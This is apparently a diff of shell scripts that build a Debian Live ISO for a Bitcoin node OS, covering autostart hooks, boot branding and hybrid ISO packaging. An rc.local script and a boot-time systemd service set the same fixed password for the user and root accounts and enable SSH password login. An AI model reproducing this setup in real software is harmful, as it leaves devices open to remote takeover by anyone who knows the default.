if [ -z "$BOOT_MEDIA" ]; then
echo " ⚠️ Boot media not found at /run/live/medium"
echo ""
echo " Manual commands:"
echo " archipelago - Start backend server"
echo " archipelago-menu - Open setup menu"
echo ""
return 0 2>/dev/null || exit 0
fi
echo " 📍 Boot media: $BOOT_MEDIA"
echo ""
# Install archipelago commands if not present
if [ ! -f /usr/local/bin/archipelago ] && [ -f "$BOOT_MEDIA/archipelago/bin/archipelago" ]; then
sudo cp "$BOOT_MEDIA/archipelago/bin/archipelago" /usr/local/bin/ 2>/dev/null
sudo chmod +x /usr/local/bin/archipelago 2>/dev/null
fi
if [ ! -f /usr/local/bin/archipelago-menu ] && [ -f "$BOOT_MEDIA/archipelago/bin/archipelago-menu" ]; then
sudo cp "$BOOT_MEDIA/archipelago/bin/archipelago-menu" /usr/local/bin/ 2>/dev/null
sudo chmod +x /usr/local/bin/archipelago-menu 2>/dev/null
fi
# Copy scripts to /opt
if [ ! -d /opt/archipelago/scripts ] && [ -d "$BOOT_MEDIA/archipelago/scripts" ]; then
sudo mkdir -p /opt/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/scripts" /opt/archipelago/ 2>/dev/null
sudo chmod +x /opt/archipelago/scripts/*.sh 2>/dev/null
fi
# Start web backend in background if available
if command -v archipelago >/dev/null 2>&1; then
if ! pgrep -f "archipelago" >/dev/null 2>&1; then
echo " 🚀 Starting Archipelago backend on port 5678..."
nohup archipelago >/tmp/archipelago.log 2>&1 &
sleep 2
else
echo " ✅ Archipelago backend already running"
fi
fi
echo ""
echo " Commands:"
echo " archipelago-menu - Open interactive setup menu"
echo " archipelago - Start/restart backend server"
echo ""
sleep 1
# Launch the menu automatically
if [ -f /opt/archipelago/scripts/archipelago-menu.sh ]; then
exec bash /opt/archipelago/scripts/archipelago-menu.sh
elif [ -f "$BOOT_MEDIA/archipelago/scripts/archipelago-menu.sh" ]; then
exec bash "$BOOT_MEDIA/archipelago/scripts/archipelago-menu.sh"
fi
PROFILE_EOF
chmod +x "$ISO_CUSTOM/etc/profile.d/z99-archipelago.sh"
# Also add to /etc/skel/.bashrc as fallback for new user sessions
mkdir -p "$ISO_CUSTOM/etc/skel"
cat >> "$ISO_CUSTOM/etc/skel/.bashrc" <<'BASHRC_EOF'
# Archipelago auto-start
if [ -z "$ARCHIPELAGO_STARTED" ] && [ -n "$PS1" ]; then
export ARCHIPELAGO_STARTED=1
# Find boot media
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
bash "$dev/archipelago/setup-archipelago.sh" 2>/dev/null || true
break
fi
done
fi
BASHRC_EOF
# CRITICAL: Make getty run our script directly after auto-login
mkdir -p "$ISO_CUSTOM/etc/systemd/system/getty@tty1.service.d"
cat > "$ISO_CUSTOM/etc/systemd/system/getty@tty1.service.d/override.conf" <<'GETTY_EOF'
[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin user --login-program /bin/bash --login-options "-c 'source /etc/profile.d/z99-archipelago.sh; exec bash -i'" --noclear %I $TERM
Type=idle
GETTY_EOF
# Create a live-config hook that adds our script to the actual user's .bashrc after user creation
mkdir -p "$ISO_CUSTOM/lib/live/config"
cat > "$ISO_CUSTOM/lib/live/config/9999-archipelago-autostart" <<'LIVECONFIG_EOF'
#!/bin/bash
# Live-config hook to add Archipelago auto-start to live user's bashrc
set -e
# This runs after the live user is created
if [ -d /home/user ]; then
cat >> /home/user/.bashrc <<'EOF'
# Archipelago Auto-Start
if [ -z "$ARCHIPELAGO_STARTED" ] && [ -n "$PS1" ]; then
export ARCHIPELAGO_STARTED=1
# Find boot media
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
if [ -n "$BOOT_MEDIA" ]; then
# Source the profile script
if [ -f /etc/profile.d/z99-archipelago.sh ]; then
bash /etc/profile.d/z99-archipelago.sh
fi
fi
fi
EOF
chown user:user /home/user/.bashrc
fi
LIVECONFIG_EOF
chmod +x "$ISO_CUSTOM/lib/live/config/9999-archipelago-autostart"
cat > "$ISO_CUSTOM/etc/systemd/system/getty@tty1.service.d/override.conf" <<'GETTY_EOF'
[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin user --noclear %I $TERM
Type=idle
GETTY_EOF
# Modify GRUB config for Archipelago branding and auto-start
echo ""
echo "⚙️ Configuring boot..."
if [ -f "$ISO_CUSTOM/boot/grub/grub.cfg" ]; then
# Update branding
sed -i.bak \
-e 's/Debian GNU\/Linux/Archipelago Bitcoin Node OS/g' \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/boot/grub/grub.cfg"
# Add components=live.persist boot parameter to enable persistence hooks
# This will allow our scripts to run on boot
sed -i '' -e 's/\(boot=live\)/\1 components=/' "$ISO_CUSTOM/boot/grub/grub.cfg" 2>/dev/null || true
fi
if [ -f "$ISO_CUSTOM/isolinux/menu.cfg" ]; then
sed -i.bak \
-e 's/Debian GNU\/Linux/Archipelago Bitcoin Node OS/g' \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/isolinux/menu.cfg"
fi
if [ -f "$ISO_CUSTOM/isolinux/live.cfg" ]; then
sed -i.bak \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/isolinux/live.cfg"
fi
# Create final ISO
OUTPUT_ISO="$OUTPUT_DIR/archipelago-debian-12-x86_64.iso"
echo ""
echo "🔥 Creating final bootable ISO..."
if command -v xorriso >/dev/null 2>&1; then
# Create proper hybrid ISO with MBR for USB boot
# Need to extract MBR from isolinux or use system syslinux
# Check for isohdpfx.bin in various locations
ISOHDPFX=""
for path in \
"/usr/local/share/syslinux/isohdpfx.bin" \
"/usr/share/syslinux/isohdpfx.bin" \
"/opt/homebrew/share/syslinux/isohdpfx.bin" \
"$ISO_CUSTOM/isolinux/isohdpfx.bin"; do
if [ -f "$path" ]; then
ISOHDPFX="$path"
break
fi
done
if [ -z "$ISOHDPFX" ]; then
echo "⚠️ No isohdpfx.bin found, extracting from isolinux.bin..."
# Extract first 432 bytes from isolinux.bin as MBR
dd if="$ISO_CUSTOM/isolinux/isolinux.bin" of="$WORK_DIR/isohdpfx.bin" bs=432 count=1 2>/dev/null
ISOHDPFX="$WORK_DIR/isohdpfx.bin"
fi
echo " Using MBR: $ISOHDPFX"
xorriso -as mkisofs -o "$OUTPUT_ISO" \
-volid "ARCHIPELAGO" \
-J -R \
-isohybrid-mbr "$ISOHDPFX" \
-c isolinux/boot.cat \
-b isolinux/isolinux.bin \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-eltorito-alt-boot \
-e boot/grub/efi.img \
-no-emul-boot \
-isohybrid-gpt-basdat \
"$ISO_CUSTOM"
else
echo "❌ xorriso not found. Please install it: brew install xorriso"
exit 1
fi
echo ""
echo "✅ ISO created successfully!"
echo ""
# Calculate build time
BUILD_END=$(date +%s)
BUILD_DURATION=$((BUILD_END - BUILD_START))
BUILD_MINUTES=$((BUILD_DURATION / 60))
BUILD_SECONDS=$((BUILD_DURATION % 60))
ISO_SIZE=$(du -h "$OUTPUT_ISO" | cut -f1)
ISO_MD5=$(md5 -q "$OUTPUT_ISO" 2>/dev/null || md5sum "$OUTPUT_ISO" | awk '{print $1}')
echo "╔════════════════════════════════════════════════════════╗"
echo "║ 🎉 Build Complete! ║"
echo "╚════════════════════════════════════════════════════════╝"
echo ""
echo "📀 ISO File: $OUTPUT_ISO"
echo "📏 Size: $ISO_SIZE"
echo "🔐 MD5: $ISO_MD5"
echo "⏱️ Build Time: ${BUILD_MINUTES}m ${BUILD_SECONDS}s"
echo "🎯 Base: Debian 12 Live (Bookworm)"
echo ""
echo "🔥 Next Steps:"
echo ""
echo " 1. Flash to USB:"
echo " cd image-recipe && ./write-usb-dd.sh /dev/diskN"
echo ""
echo " 2. Boot on target device"
echo ""
echo " 3. Auto-login as 'user' with menu launch"
echo ""
echo " 4. Access Web UI at http://<IP>:5678"
echo ""
echo " 5. SSH access: ssh user@<IP> (password: archipelago)"
echo ""

View File

@@ -1,511 +0,0 @@
#!/bin/bash
#
# Build Archipelago Bitcoin Node OS ISO - Debian Live Edition
# Based on Debian Live for reliable USB boot (like StartOS)
#
# Usage: ./build-debian-iso.sh
#
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORK_DIR="$SCRIPT_DIR/build/debian-iso"
OUTPUT_DIR="$SCRIPT_DIR/results"
DEBIAN_VERSION="bookworm"
ARCH="amd64"
echo "╔════════════════════════════════════════════════════════╗"
echo "║ Building Archipelago - Debian Live Edition ║"
echo "╚════════════════════════════════════════════════════════╝"
echo ""
# Create directories
mkdir -p "$WORK_DIR"
mkdir -p "$OUTPUT_DIR"
# Download Debian Live ISO if not exists
BASE_ISO="$WORK_DIR/debian-live-12-${ARCH}-standard.iso"
if [ ! -f "$BASE_ISO" ] || [ $(stat -f%z "$BASE_ISO" 2>/dev/null || echo 0) -lt 100000000 ]; then
echo "📥 Downloading Debian Live 12 (Bookworm) Standard ISO..."
rm -f "$BASE_ISO"
# Use SourceForge respin which has up-to-date Debian 12 Live
curl -L -o "$BASE_ISO" \
"https://sourceforge.net/projects/debian-live-respin-iso/files/standard/live-image-debian12.11-standard-20250522-amd64.hybrid.iso/download"
echo "✅ Downloaded Debian Live ISO"
else
echo "✅ Using cached Debian Live ISO"
fi
# Extract ISO
echo ""
echo "📦 Extracting Debian Live ISO..."
ISO_CUSTOM="$WORK_DIR/custom"
rm -rf "$ISO_CUSTOM"
mkdir -p "$ISO_CUSTOM"
cd "$ISO_CUSTOM"
7z x -y "$BASE_ISO" >/dev/null 2>&1 || 7z x -y "$BASE_ISO"
echo "✅ Extracted ISO"
# Add Archipelago files
echo ""
echo "📋 Adding Archipelago files..."
ARCHIPELAGO_DIR="$ISO_CUSTOM/archipelago"
mkdir -p "$ARCHIPELAGO_DIR"
mkdir -p "$ARCHIPELAGO_DIR/bin"
mkdir -p "$ARCHIPELAGO_DIR/scripts"
# Copy the pre-built backend if it exists
if [ -d "$SCRIPT_DIR/../core/target/release" ]; then
echo "🦀 Including Archipelago backend..."
cp "$SCRIPT_DIR/../core/target/release/archipelago" "$ARCHIPELAGO_DIR/bin/" 2>/dev/null || true
fi
# Copy the frontend build if it exists
if [ -d "$SCRIPT_DIR/../web/dist/neode-ui" ]; then
echo "🎨 Including Archipelago Web UI..."
cp -r "$SCRIPT_DIR/../web/dist/neode-ui" "$ARCHIPELAGO_DIR/web-ui"
elif [ -d "$SCRIPT_DIR/../neode-ui/dist" ]; then
echo "🎨 Including Archipelago frontend..."
cp -r "$SCRIPT_DIR/../neode-ui/dist" "$ARCHIPELAGO_DIR/web-ui" 2>/dev/null || true
fi
# Copy app manifests
if [ -d "$SCRIPT_DIR/../apps" ]; then
echo "📦 Including app manifests..."
cp -r "$SCRIPT_DIR/../apps" "$ARCHIPELAGO_DIR/apps" 2>/dev/null || true
fi
# Copy setup scripts
if [ -d "$SCRIPT_DIR/archipelago-scripts" ]; then
echo "📜 Including setup scripts..."
cp "$SCRIPT_DIR/archipelago-scripts/"*.sh "$ARCHIPELAGO_DIR/scripts/" 2>/dev/null || true
chmod +x "$ARCHIPELAGO_DIR/scripts/"*.sh
fi
# Create main setup script for Archipelago
cat > "$ARCHIPELAGO_DIR/setup-archipelago.sh" <<'SETUP_EOF'
#!/bin/bash
#
# Archipelago Setup Script for Debian Live
#
echo ""
echo "╔═══════════════════════════════════════════════════════════╗"
echo "║ 🏝️ ARCHIPELAGO BITCOIN NODE OS - Debian Edition ║"
echo "╚═══════════════════════════════════════════════════════════╝"
echo ""
# Find the boot media
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom /media/cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
if [ -z "$BOOT_MEDIA" ]; then
echo "❌ Could not find Archipelago files on boot media"
echo " Looking in: /run/live/medium, /lib/live/mount/medium, /cdrom"
exit 1
fi
echo "📍 Found Archipelago at: $BOOT_MEDIA/archipelago"
echo ""
# Copy files to system
if [ -d "$BOOT_MEDIA/archipelago/bin" ]; then
echo "📋 Installing Archipelago binaries..."
sudo cp -r "$BOOT_MEDIA/archipelago/bin/"* /usr/local/bin/ 2>/dev/null || true
fi
if [ -d "$BOOT_MEDIA/archipelago/apps" ]; then
echo "📋 Installing app manifests..."
sudo mkdir -p /etc/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/apps" /etc/archipelago/ 2>/dev/null || true
fi
if [ -d "$BOOT_MEDIA/archipelago/scripts" ]; then
echo "📋 Installing setup scripts..."
sudo mkdir -p /opt/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/scripts" /opt/archipelago/ 2>/dev/null || true
sudo chmod +x /opt/archipelago/scripts/*.sh
fi
echo ""
echo "✅ Archipelago installed!"
echo ""
# Automatically launch the menu
sleep 1
exec /opt/archipelago/scripts/archipelago-menu.sh
SETUP_EOF
chmod +x "$ARCHIPELAGO_DIR/setup-archipelago.sh"
# Create auto-start script that runs on login
cat > "$ARCHIPELAGO_DIR/auto-start.sh" <<'AUTOSTART_EOF'
#!/bin/bash
#
# Archipelago Auto-Start - Runs on first login
#
# Find boot media
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
# Install essential tools on first boot (required for disk installer)
if [ ! -f /tmp/.archipelago-tools-installed ]; then
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ 🏝️ ARCHIPELAGO - First Boot Setup ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
echo " 📦 Installing required tools..."
echo ""
# Update and install essential tools
sudo apt-get update -qq 2>/dev/null
sudo apt-get install -y parted debootstrap dosfstools e2fsprogs 2>/dev/null
echo " ✅ Tools installed"
touch /tmp/.archipelago-tools-installed
sleep 1
fi
# Get IP address
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
# Start web UI in background if not already running
if [ -n "$BOOT_MEDIA" ] && ! pgrep -f "http.server" >/dev/null; then
WEB_UI_DIR="$BOOT_MEDIA/archipelago/web-ui"
if [ -d "$WEB_UI_DIR" ]; then
cd "$WEB_UI_DIR"
nohup python3 -m http.server 80 --bind 0.0.0.0 >/dev/null 2>&1 &
fi
fi
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ ║"
echo " ║ 🏝️ ARCHIPELAGO BITCOIN NODE OS ║"
echo " ║ ║"
echo " ║ Your sovereign Bitcoin infrastructure ║"
echo " ║ ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
if [ -n "$IP" ]; then
echo " ┌─────────────────────────────────────────────────────────────┐"
echo " │ 🌐 Web UI: http://$IP "
echo " └─────────────────────────────────────────────────────────────┘"
echo ""
fi
echo " Type 'archipelago' to open the setup menu"
echo ""
# Check if already set up
if [ -f ~/.archipelago-setup-done ]; then
return 2>/dev/null || exit 0
fi
# First time - run setup automatically
if [ -n "$BOOT_MEDIA" ] && [ -f "$BOOT_MEDIA/archipelago/setup-archipelago.sh" ]; then
echo ""
read -p " Press Enter to continue to setup menu..."
bash "$BOOT_MEDIA/archipelago/setup-archipelago.sh"
fi
AUTOSTART_EOF
chmod +x "$ARCHIPELAGO_DIR/auto-start.sh"
# Create a simple 'archipelago-menu' command wrapper (don't overwrite the backend binary!)
cat > "$ARCHIPELAGO_DIR/bin/archipelago-menu" <<'CMD_EOF'
#!/bin/bash
# Archipelago menu command - launches the setup menu
if [ -f /opt/archipelago/scripts/archipelago-menu.sh ]; then
exec /opt/archipelago/scripts/archipelago-menu.sh
else
# Find on boot media
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -f "$dev/archipelago/scripts/archipelago-menu.sh" ]; then
exec bash "$dev/archipelago/scripts/archipelago-menu.sh"
fi
done
echo "Archipelago menu not found. Run setup first:"
echo " sh /run/live/medium/archipelago/setup-archipelago.sh"
fi
CMD_EOF
chmod +x "$ARCHIPELAGO_DIR/bin/archipelago-menu"
# Verify the real backend binary is there
if [ -f "$ARCHIPELAGO_DIR/bin/archipelago" ]; then
echo " Backend binary: $(file "$ARCHIPELAGO_DIR/bin/archipelago" | grep -o 'ELF.*' || echo 'included')"
fi
# Create SSH auto-start script for live environment
mkdir -p "$ISO_CUSTOM/etc/live/config.conf.d"
cat > "$ISO_CUSTOM/etc/live/config.conf.d/archipelago.conf" <<'LIVE_CONF_EOF'
# Archipelago live config
LIVE_HOSTNAME="archipelago"
LIVE_USER_DEFAULT_GROUPS="audio cdrom dip floppy video plugdev netdev powerdev scanner bluetooth sudo"
LIVE_CONF_EOF
# Create rc.local to start SSH on boot (works in live environment)
mkdir -p "$ISO_CUSTOM/etc/rc.local.d"
cat > "$ISO_CUSTOM/etc/rc.local.d/archipelago-ssh.sh" <<'RCLOCAL_EOF'
#!/bin/bash
# Enable SSH in live environment
# Install and start SSH if not running
if ! systemctl is-active --quiet ssh 2>/dev/null; then
# Try to start SSH (may already be installed)
systemctl start ssh 2>/dev/null || true
# If SSH not installed, install it
if ! command -v sshd >/dev/null 2>&1; then
apt-get update -qq
apt-get install -y openssh-server
systemctl start ssh
fi
fi
# Set password for user (live user is typically 'user' with empty password)
echo "user:archipelago" | chpasswd 2>/dev/null || true
echo "root:archipelago" | chpasswd 2>/dev/null || true
# Allow password auth
sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config 2>/dev/null
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config 2>/dev/null
systemctl restart ssh 2>/dev/null || true
RCLOCAL_EOF
chmod +x "$ISO_CUSTOM/etc/rc.local.d/archipelago-ssh.sh"
# Also create a systemd service that runs early
mkdir -p "$ISO_CUSTOM/etc/systemd/system"
cat > "$ISO_CUSTOM/etc/systemd/system/archipelago-ssh.service" <<'SERVICE_EOF'
[Unit]
Description=Archipelago SSH Setup
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'apt-get update -qq && apt-get install -y openssh-server && echo "user:archipelago" | chpasswd && echo "root:archipelago" | chpasswd && sed -i "s/#PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config && sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config && systemctl restart ssh'
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
SERVICE_EOF
# Enable the service
mkdir -p "$ISO_CUSTOM/etc/systemd/system/multi-user.target.wants"
ln -sf ../archipelago-ssh.service "$ISO_CUSTOM/etc/systemd/system/multi-user.target.wants/archipelago-ssh.service"
# Create system-wide profile script that runs on ANY login
mkdir -p "$ISO_CUSTOM/etc/profile.d"
cat > "$ISO_CUSTOM/etc/profile.d/z99-archipelago.sh" <<'PROFILE_EOF'
#!/bin/bash
# Archipelago auto-start - runs on login (z99 = runs last)
# Only run once per session and only in interactive shells
if [ -n "$ARCHIPELAGO_STARTED" ] || [ ! -t 0 ]; then
return 0 2>/dev/null || exit 0
fi
export ARCHIPELAGO_STARTED=1
# Find archipelago directory
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
# Get IP address
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
[ -z "$IP" ] && IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v '127.0.0.1' | head -1)
# Show welcome banner ALWAYS
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ ║"
echo " ║ 🏝️ ARCHIPELAGO BITCOIN NODE OS ║"
echo " ║ ║"
echo " ║ Your sovereign Bitcoin infrastructure ║"
echo " ║ ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
if [ -n "$IP" ]; then
echo " ┌─────────────────────────────────────────────────────────────┐"
echo " │ 🌐 Web UI: http://$IP:5678 │"
echo " │ 📡 SSH: ssh user@$IP (password: archipelago) │"
echo " └─────────────────────────────────────────────────────────────┘"
echo ""
fi
if [ -z "$BOOT_MEDIA" ]; then
echo " ⚠️ Boot media not found at /run/live/medium"
echo ""
echo " Manual commands:"
echo " archipelago - Start backend server"
echo " archipelago-menu - Open setup menu"
echo ""
return 0 2>/dev/null || exit 0
fi
echo " 📍 Boot media: $BOOT_MEDIA"
echo ""
# Install archipelago commands if not present
if [ ! -f /usr/local/bin/archipelago ] && [ -f "$BOOT_MEDIA/archipelago/bin/archipelago" ]; then
sudo cp "$BOOT_MEDIA/archipelago/bin/archipelago" /usr/local/bin/ 2>/dev/null
sudo chmod +x /usr/local/bin/archipelago 2>/dev/null
fi
if [ ! -f /usr/local/bin/archipelago-menu ] && [ -f "$BOOT_MEDIA/archipelago/bin/archipelago-menu" ]; then
sudo cp "$BOOT_MEDIA/archipelago/bin/archipelago-menu" /usr/local/bin/ 2>/dev/null
sudo chmod +x /usr/local/bin/archipelago-menu 2>/dev/null
fi
# Copy scripts to /opt
if [ ! -d /opt/archipelago/scripts ] && [ -d "$BOOT_MEDIA/archipelago/scripts" ]; then
sudo mkdir -p /opt/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/scripts" /opt/archipelago/ 2>/dev/null
sudo chmod +x /opt/archipelago/scripts/*.sh 2>/dev/null
fi
# Start web backend in background if available
if command -v archipelago >/dev/null 2>&1; then
if ! pgrep -f "archipelago" >/dev/null 2>&1; then
echo " 🚀 Starting Archipelago backend on port 5678..."
nohup archipelago >/tmp/archipelago.log 2>&1 &
sleep 2
else
echo " ✅ Archipelago backend already running"
fi
fi
echo ""
echo " Commands:"
echo " archipelago-menu - Open interactive setup menu"
echo " archipelago - Start/restart backend server"
echo ""
read -p " Press Enter to open the setup menu (or Ctrl+C to skip)... "
# Launch the menu
if [ -f /opt/archipelago/scripts/archipelago-menu.sh ]; then
exec bash /opt/archipelago/scripts/archipelago-menu.sh
elif [ -f "$BOOT_MEDIA/archipelago/scripts/archipelago-menu.sh" ]; then
exec bash "$BOOT_MEDIA/archipelago/scripts/archipelago-menu.sh"
fi
PROFILE_EOF
chmod +x "$ISO_CUSTOM/etc/profile.d/z99-archipelago.sh"
# Also add to /etc/skel/.bashrc as fallback for new user sessions
mkdir -p "$ISO_CUSTOM/etc/skel"
cat >> "$ISO_CUSTOM/etc/skel/.bashrc" <<'BASHRC_EOF'
# Archipelago auto-start fallback
if [ -z "$ARCHIPELAGO_STARTED" ] && [ -t 0 ]; then
[ -f /etc/profile.d/z99-archipelago.sh ] && source /etc/profile.d/z99-archipelago.sh
fi
BASHRC_EOF
# Modify GRUB config for Archipelago branding
echo ""
echo "⚙️ Configuring boot..."
if [ -f "$ISO_CUSTOM/boot/grub/grub.cfg" ]; then
sed -i.bak \
-e 's/Debian GNU\/Linux/Archipelago Bitcoin Node OS/g' \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/boot/grub/grub.cfg"
fi
if [ -f "$ISO_CUSTOM/isolinux/menu.cfg" ]; then
sed -i.bak \
-e 's/Debian GNU\/Linux/Archipelago Bitcoin Node OS/g' \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/isolinux/menu.cfg"
fi
if [ -f "$ISO_CUSTOM/isolinux/live.cfg" ]; then
sed -i.bak \
-e 's/Live system/Archipelago Live/g' \
"$ISO_CUSTOM/isolinux/live.cfg"
fi
# Create final ISO
OUTPUT_ISO="$OUTPUT_DIR/archipelago-debian-12-x86_64.iso"
echo ""
echo "🔥 Creating final bootable ISO..."
if command -v xorriso >/dev/null 2>&1; then
# Create proper hybrid ISO with MBR for USB boot
# Need to extract MBR from isolinux or use system syslinux
# Check for isohdpfx.bin in various locations
ISOHDPFX=""
for path in \
"/usr/local/share/syslinux/isohdpfx.bin" \
"/usr/share/syslinux/isohdpfx.bin" \
"/opt/homebrew/share/syslinux/isohdpfx.bin" \
"$ISO_CUSTOM/isolinux/isohdpfx.bin"; do
if [ -f "$path" ]; then
ISOHDPFX="$path"
break
fi
done
if [ -z "$ISOHDPFX" ]; then
echo "⚠️ No isohdpfx.bin found, extracting from isolinux.bin..."
# Extract first 432 bytes from isolinux.bin as MBR
dd if="$ISO_CUSTOM/isolinux/isolinux.bin" of="$WORK_DIR/isohdpfx.bin" bs=432 count=1 2>/dev/null
ISOHDPFX="$WORK_DIR/isohdpfx.bin"
fi
echo " Using MBR: $ISOHDPFX"
xorriso -as mkisofs -o "$OUTPUT_ISO" \
-volid "ARCHIPELAGO" \
-J -R \
-isohybrid-mbr "$ISOHDPFX" \
-c isolinux/boot.cat \
-b isolinux/isolinux.bin \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-eltorito-alt-boot \
-e boot/grub/efi.img \
-no-emul-boot \
-isohybrid-gpt-basdat \
"$ISO_CUSTOM"
else
echo "❌ xorriso not found. Please install it: brew install xorriso"
exit 1
fi
echo ""
echo "✅ ISO created successfully!"
echo ""
echo "📀 Output: $OUTPUT_ISO"
echo " Size: $(du -h "$OUTPUT_ISO" | cut -f1)"
echo ""
echo "🔥 This is Debian Live-based - reliable USB boot like StartOS!"
echo ""
echo "To create USB:"
echo " 1. Use Balena Etcher to flash the ISO"
echo " 2. Or: sudo dd if=$OUTPUT_ISO of=/dev/sdX bs=4M status=progress"
echo ""

View File

@@ -1,410 +0,0 @@
#!/bin/bash
#
# Build Archipelago Auto-Installer ISO from LIVE SERVER STATE
#
# This captures the CURRENT STATE of the development server and packages
# it into an auto-installer ISO - exactly like Start9/Umbrel.
#
# Usage: ./build-from-live-server.sh [dev-server-ip]
#
set -e
DEV_SERVER="${1:-archipelago@192.168.1.228}"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORK_DIR="$SCRIPT_DIR/build/live-snapshot"
OUTPUT_DIR="$SCRIPT_DIR/results"
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ Building Archipelago ISO from LIVE SERVER ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "📡 Development Server: $DEV_SERVER"
echo ""
# Check for required tools
CONTAINER_CMD=""
if command -v docker >/dev/null 2>&1; then
CONTAINER_CMD="docker"
elif command -v podman >/dev/null 2>&1; then
CONTAINER_CMD="podman"
else
echo "❌ Missing docker or podman"
exit 1
fi
if ! command -v xorriso >/dev/null 2>&1; then
echo "❌ Missing xorriso"
exit 1
fi
if ! command -v ssh >/dev/null 2>&1; then
echo "❌ Missing ssh"
exit 1
fi
echo "Using container runtime: $CONTAINER_CMD"
echo ""
mkdir -p "$WORK_DIR"
mkdir -p "$OUTPUT_DIR"
# =============================================================================
# STEP 1: Capture LIVE SERVER state
# =============================================================================
echo "📦 Step 1: Capturing live server state..."
echo ""
SNAPSHOT_DIR="$WORK_DIR/live-server-snapshot"
rm -rf "$SNAPSHOT_DIR"
mkdir -p "$SNAPSHOT_DIR"
# Create directory structure
mkdir -p "$SNAPSHOT_DIR/bin"
mkdir -p "$SNAPSHOT_DIR/web-ui"
mkdir -p "$SNAPSHOT_DIR/configs"
mkdir -p "$SNAPSHOT_DIR/apps"
mkdir -p "$SNAPSHOT_DIR/scripts"
# Capture backend binary
echo " Capturing backend binary..."
scp "$DEV_SERVER:/usr/local/bin/archipelago" "$SNAPSHOT_DIR/bin/" 2>/dev/null || {
echo " ⚠️ Backend binary not found on server"
echo " Using local build if available..."
if [ -f "$SCRIPT_DIR/../core/target/release/archipelago" ]; then
# Build on Linux if we're on macOS
if [[ "$OSTYPE" == "darwin"* ]]; then
echo " Building backend for Linux..."
cd "$SCRIPT_DIR/../core"
$CONTAINER_CMD build --platform linux/amd64 -t archipelago-backend -f - . <<'DOCKERFILE'
FROM rust:1.93-bookworm as builder
WORKDIR /build
COPY . .
RUN cargo build --release --bin archipelago
DOCKERFILE
BACKEND_CONTAINER=$($CONTAINER_CMD create --platform linux/amd64 archipelago-backend)
$CONTAINER_CMD cp "$BACKEND_CONTAINER:/build/target/release/archipelago" "$SNAPSHOT_DIR/bin/"
$CONTAINER_CMD rm "$BACKEND_CONTAINER"
cd "$SCRIPT_DIR"
else
cp "$SCRIPT_DIR/../core/target/release/archipelago" "$SNAPSHOT_DIR/bin/"
fi
fi
}
if [ -f "$SNAPSHOT_DIR/bin/archipelago" ]; then
chmod +x "$SNAPSHOT_DIR/bin/archipelago"
echo " ✅ Backend: $(du -h "$SNAPSHOT_DIR/bin/archipelago" | cut -f1)"
else
echo " ❌ No backend binary available"
exit 1
fi
# Capture frontend (Web UI)
echo " Capturing frontend (Web UI)..."
rsync -az --delete "$DEV_SERVER:/opt/archipelago/web-ui/" "$SNAPSHOT_DIR/web-ui/" 2>/dev/null || {
echo " ⚠️ Web UI not found on server"
echo " Using local build..."
if [ -d "$SCRIPT_DIR/../web/dist/neode-ui" ]; then
cp -r "$SCRIPT_DIR/../web/dist/neode-ui/"* "$SNAPSHOT_DIR/web-ui/"
elif [ -d "$SCRIPT_DIR/../neode-ui/dist" ]; then
cp -r "$SCRIPT_DIR/../neode-ui/dist/"* "$SNAPSHOT_DIR/web-ui/"
else
echo " Building frontend..."
cd "$SCRIPT_DIR/../neode-ui"
npm run build
cp -r "$SCRIPT_DIR/../web/dist/neode-ui/"* "$SNAPSHOT_DIR/web-ui/"
cd "$SCRIPT_DIR"
fi
}
if [ -d "$SNAPSHOT_DIR/web-ui" ] && [ "$(ls -A "$SNAPSHOT_DIR/web-ui")" ]; then
echo " ✅ Web UI: $(du -sh "$SNAPSHOT_DIR/web-ui" | cut -f1)"
else
echo " ❌ No web UI available"
exit 1
fi
# Capture Nginx config
echo " Capturing Nginx config..."
